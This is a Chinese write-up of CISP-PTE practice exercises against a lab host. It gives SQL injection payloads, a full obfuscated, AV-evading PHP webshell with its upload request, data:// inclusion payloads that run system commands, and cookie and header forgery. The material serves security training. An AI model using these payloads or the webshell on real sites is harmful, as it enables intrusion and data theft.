文章目录

  • 练习题目一:SQL注入
    • 0x01 题目要求
    • 0x02 解答过程:
    • 0x03 解题总结:
  • 练习题目二:文件上传突破
    • 0x01 题目要求:
    • 0x02 解题过程:
    • 0x03 解题总结:
  • 练习题目三:文件包含
    • 0x01 题目要求
    • 0x02 解题过程
    • 0x03 解题总结:
  • 练习题目四:反序列化漏洞
    • 0x01 题目要求:
    • 0x02 解题过程
  • 练习题目五:失效的访问控制
    • 0x01 题目·要求:
    • 0x02 解题过程:
    • 0x03 解题总结:
  • 摘抄

练习题目一:SQL注入

0x01 题目要求

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
数据库中可以找到Key1

0x02 解答过程:

第一步 通过单引号闭合,并且注释绕过

通过尝试发现--+ #被过滤
uuid=xx'
uuid=xx' or '1'='1 页面回显正常
uuid=xx" or '1'='1 页面回显异常



第二步 判断表中列的数量,判断回显的位置

d6' order by 6 or '1'='1
发现order by被过滤,只能1,2,3,4,5,6依次尝试
d6'union select 1,2,3,4,5 or '1' = '1 页面回显错误
d6'union select 1,2,3,4,5,6 or '1' = '1 页面回显字段2


第四步 查询当前数据库的表名

当前数据库
d6'union select 1,database(),3,4,5,6 and '1' = '1
当前数据库中的表
d6'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='2web'),3,4,5,6 and '1' = '1
Article,IS_KEY


第五步 查看表中的列名

d6'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='2web' and table_name='IS_KEY'),3,4,5,6 and '1' = '1

第六步 查询表中的值

uuid=-xx' union select 1,(select group_concat(haha) from IS_KEY),3,4,5,6 and '1' = '1

0x03 解题总结:

通过诸如点的闭合,来确定诸如点,多试几次‘、“ 、’)、”)等
注入被过滤,可以使用or '1'='1`、and '1' = '1 、like进行注释绕过
关键字符被过滤,使用双写、大小写结合的方式
判断回显的位置
判断当前库-表-字段-内容
database()\、nformation_schema.tables、 information_schema.columns 、

练习题目二:文件上传突破

0x01 题目要求:

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

尝试获取webshell,答案就在根目录下key.php文件中。

0x02 解题过程:

第一步 生成蚁剑自带的免杀马

<?php // 使用时请删除此行, 连接密码: vUwbBMnW ?>
<?php $cOKn=create_function(chr(0x280-0x25c).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').base64_decode('ZQ=='),chr(0154543/01047).chr(0643-0455).base64_decode('YQ==').chr(939-831).chr(0x31f-0x2f7).chr(714-678).chr(01066-0703).chr(51948/468).base64_decode('bQ==').chr(0503-0336).base64_decode('KQ==').chr(0x27d-0x242));$cOKn(base64_decode('NzY2O'.'TcxO0'.'BldkF'.'sKCRf'.''.chr(0200650/01410).base64_decode('RQ==').chr(735-678).base64_decode('VA==').str_rot13('I').''.''.chr(0x223-0x1dd).chr(0233330/01256).base64_decode('Mg==').chr(78948/918).base64_decode('WA==').''.'diQk1'.'uV10p'.'OzIzM'.'DA5MT'.'M7'.''));?>

第一步 先上传一张图片

第二步 更改后缀和内容
一般是该后缀绕过、添加图片头进行绕过

POST /start/ HTTP/1.1
Host: 192.168.0.109:82
Content-Length: 817
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.109:82
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywqtFNq7zkjSAwK24
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.109:82/start/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c2cm17dv8uo37uua9t318gpfiv
Connection: close------WebKitFormBoundarywqtFNq7zkjSAwK24
Content-Disposition: form-data; name="files"; filename="123.php"
Content-Type: image/jpegGIF89a
<?php $cOKn=create_function(chr(0x280-0x25c).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').base64_decode('ZQ=='),chr(0154543/01047).chr(0643-0455).base64_decode('YQ==').chr(939-831).chr(0x31f-0x2f7).chr(714-678).chr(01066-0703).chr(51948/468).base64_decode('bQ==').chr(0503-0336).base64_decode('KQ==').chr(0x27d-0x242));$cOKn(base64_decode('NzY2O'.'TcxO0'.'BldkF'.'sKCRf'.''.chr(0200650/01410).base64_decode('RQ==').chr(735-678).base64_decode('VA==').str_rot13('I').''.''.chr(0x223-0x1dd).chr(0233330/01256).base64_decode('Mg==').chr(78948/918).base64_decode('WA==').''.'diQk1'.'uV10p'.'OzIzM'.'DA5MT'.'M7'.''));?>
------WebKitFormBoundarywqtFNq7zkjSAwK24--

第三步 查看发现,可以解析,
如果查看图片直接下载,就说明解析错误

第四步 查看key

0x03 解题总结:

文件后缀名的绕过:php、php3、Php、%00截断
文件内容:添加图片头GIF89a、免杀马

练习题目三:文件包含

0x01 题目要求

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。

0x02 解题过程

第一步 查看发现输入,会自动添加个txt

第二步 通过参数,想要data://text/plain伪协议包含

发现php://字符被过滤,无法输入
查看当前目录下的文件
data://text/plain,<?php print_r(scandir(".")); ?>

第三步 通过大小写和双写结合,进行绕过, 查找key的位置

查看当前目录下的文件

dadata://ta://text/plain,<?php print_r(scandir(".")); ?>
查看上个目录下的文件
dadata://ta://text/plain,<?php print_r(scandir("..")); ?>

当前目录下的:hello.txt和index.php两个文件

上级目录下的文件:footer.php [4] => header.php [5] => images [6] => index.php [7] => js [8] => key.php [9] => start ) .txt

第四步 查看key

dadata://ta://text/plain,<?php @eval(system('cat ../key.php')); ?>

0x03 解题总结:

常用的:
data://text/plain,<?php @eval(system('cat ../key.php')); ?>
data:text/plain,<?php system(‘whoami’)?>
双写大小写绕过

练习题目四:反序列化漏洞

0x01 题目要求:

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

0x02 解题过程

第一步 查看题目,进行分析

<?php
error_reporting(0);
include "key4.php";
$TEMP = "CISP-PTE";
$str = $_GET['str'];
if (unserialize($str) === $TEMP)
{echo "$key4";
}
show_source(__FILE__);

服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了

第二步 构造反序列化

unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,
并返回原始的对象结构str=s:8:"CISP-PTE";
s:代表字符类型
8:代表¥TEAM变量的长度
"标量TEAM的值"

练习题目五:失效的访问控制

0x01 题目·要求:

失效的访问控制, 指未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据( 直接的对象引用或限制的URL ) 。例如: 访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

请使用admin用户访问权限获取KEY

0x02 解题过程:

第一步 提示 只允许,那就直接添加个地址检测

第二步 绕过本地地址检测,发现没成功

x-forwarded-for :127.0.0.1,提示没有权限


第三步 更改cookie信息
通过观察,判断IsAdmin字段的值,应该是校验是否为管理员权限的,可以更改为true,发现未成功;分析同时对username字段值进行校验,解码发现是guest普通用户,更改为admin编码,数据包重放,发现key

Username=R3Vlc3Q%3D--url解码--R3Vlc3Q--base64解码--Guest
admin--base64编码--YWRtaW4=--url编码--YWRtaW4%3D

Cookie: PHPSESSID=c2cm17dv8uo37uua9t318gpfiv; IsAdmin=true; Username=YWRtaW4%3D
x-forwarded-for:127.0.0.1

0x03 解题总结:

绕过本地的检测:x-forwarded-for:127.0.0.1
多去尝试更改一写cookie的认证信息

摘抄


寻常时日中,藏着许多小美好,只等着有心之人去感受:等你回家的那盏灯;刚晾晒过的满是阳光气息的被单;窗台上盛开的那朵花。
做好每一件小事,关心和理解身边的人,用心欣赏路边的风景,把这些组合起来,你离幸福就会越来越近。
怀着一颗感恩的心去经营生活、创造生活,自然会越过越幸福。
—《学会感恩》


CISP-PTE学习总结之基础练习题(三)相关推荐

  1. JAVA学习之路--基础篇三

    目录 关于Java中从键盘输入的语句 nextxxx().next().nextLine()的区别 语句 if和if else语句 Switch语句 for语句 while和do..while bre ...

  2. CISP-PTE学习总结之基础练习题(四)

    文章目录 0x01 基础题目之SQL注入 解题过程 0x02 基础题目之文件上传突破 解题过程 分析 0x03 基础题目之文件包含 解题过程 0x04 基础题目之命令执行 解题过程 0x05 基础题目 ...

  3. Javascript学习总结 - JS基础系列三

    简述 本系列将持续更新Javascript基础部分的知识,谁都想掌握高端大气的技术,但是我觉得没有一个扎实的基础,我认为一切高阶技术对我来讲都是过眼云烟,要成为一名及格的前端工程师,必须把基础打扎实了 ...

  4. Linux基础练习题(三)

    1.显示当前系统上root.fedora或user1用户的默认shell: [root@www ~]# egrep "^(root|fedora|user1)" /etc/pass ...

  5. 计算机应用基础第三版练习题答案,计算机应用基础练习题答案

    计算机应用基础练习题答案 (6页) 本资源提供全文预览,点击全文预览即可全文预览,如果喜欢文档就下载吧,查找使用更方便哦! 19.90 积分 <<计算机应用基础计算机应用基础>> ...

  6. 深度学习(7)TensorFlow基础操作三: 索引与切片

    深度学习(7)TensorFlow基础操作三: 索引与切片 一. 基础索引 1. Basic indexing 2. Numpy-style indexing 3. start : end 4. 切片 ...

  7. Java基础学习:尚硅谷项目三 开发团队调度软件

    Java基础学习:尚硅谷项目三 开发团队调度软件 一.软件功能与结构设计 1. 软件功能 该软件实现以下功能: 软件启动时,根据给定的数据创建公司部分成员列表(数组) 根据菜单提示,基于现有的公司成员 ...

  8. WF4.0 基础篇 (三十 完) 对学习WF的一点建议

    从09年10月份 NET4.0 Bata 2发布后,我就开始写[WF4.0 基础篇]这个系列,经历了5个多月终于在NET4.0正式发布前将这个系列完成了 这段时间与一些对WF4.0感兴趣的公司与开发人 ...

  9. 网络黑客攻防学习平台之基础关第三题

    网络黑客攻防学习平台之基础关第三题 : 页面地址:http://hackinglab.cn/ShowQues.php?type=bases 给出的是一段base64加密后的密文,根据标题,肯定是多次加 ...

最新文章

  1. Swift教程之控制流
  2. linux安装.net core3.0,树莓派4安装net core3.0环境
  3. 什么是缓存里的脏数据.
  4. php连接mysql并查询表数据,php连接mysql并查询数据怎么实现
  5. rffc2071_基于 RFFC2071的变频器设计
  6. ruby + phantomjs 自动化测试 - GA
  7. 单体系统如何拆分为微服务
  8. 学习编程,英语很重要!!
  9. PHP面向对象(三)
  10. java 变量初始化_浅谈Java变量的初始化顺序详解
  11. BGP——Peer Group(讲解+配置)
  12. Math: Fibonacci
  13. 计算机普通用户没有软件怎么回事,请教各位高手:单机多用户账户计算机,当管理员用户安装了程序,其它普通用户账户不能使用怎么处理?比如在管理...
  14. 跳出公式,看清全局,图神经网络(GCN)原理详解
  15. 软件运维监控有哪些?
  16. 收不到oracle注册邮件或无法登录
  17. IDE添加文件头@author信息
  18. (DFS)深度优先搜索算法详解
  19. 使用qqbot,群发好友消息以及打广告
  20. DevComponents.DotNetBar之SuperTabControl动态调整TABS页的位置,以动态调整按钮ButtonItem

热门文章

  1. 计算机硬盘瓶颈,解决电脑速度的关键瓶颈是升级硬盘!618硬盘选购攻略了解一下?...
  2. pyspider煎蛋无聊图爬取
  3. Flask博客实战 - 集成富文本编辑器Quill
  4. 深度交流 | 零数科技兰春嘉博士受邀出席上海高级金融学院大讲堂
  5. 哪一种开发语言有潜力有发展
  6. sklearn.impute.SimpleImputer
  7. 短视频成内容创业风口,想要跟Papi酱飞上天却不容易
  8. uos系统安装教程_国产统一操作系统uos怎么安装? uos操作系统安装步骤
  9. winxp 更改计算机名,winxp netbios计算机名修改方法【图文】
  10. 读-《c++设计新思维-泛型编程与设计模式之应用》经典记录(英文书名:《modern c++ design》)